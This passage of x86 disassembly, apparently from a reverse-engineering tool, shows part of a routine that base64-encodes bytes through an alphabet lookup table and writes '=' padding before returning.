mov dl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + eax*4], dl
movzx edx, byte [esi]
je 0x4013a5
movzx ecx, byte [esi + 1]
shr ecx, 4
shl edx, 4
or ecx, edx
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + eax*4 + 1], cl
movzx edx, byte [esi + 1]
and edx, 0xf
movzx ecx, byte [edx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + eax*4 + 2], cl
mov byte [edi + eax*4 + 3], 0x3d
mov byte [edi + ebx], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
and edx, 3
shl edx, 4
mov cl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + eax*4 + 1], cl
mov byte [edi + eax*4 + 2], 0x3d
mov byte [edi + eax*4 + 3], 0x3d
mov byte [edi + ebx], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4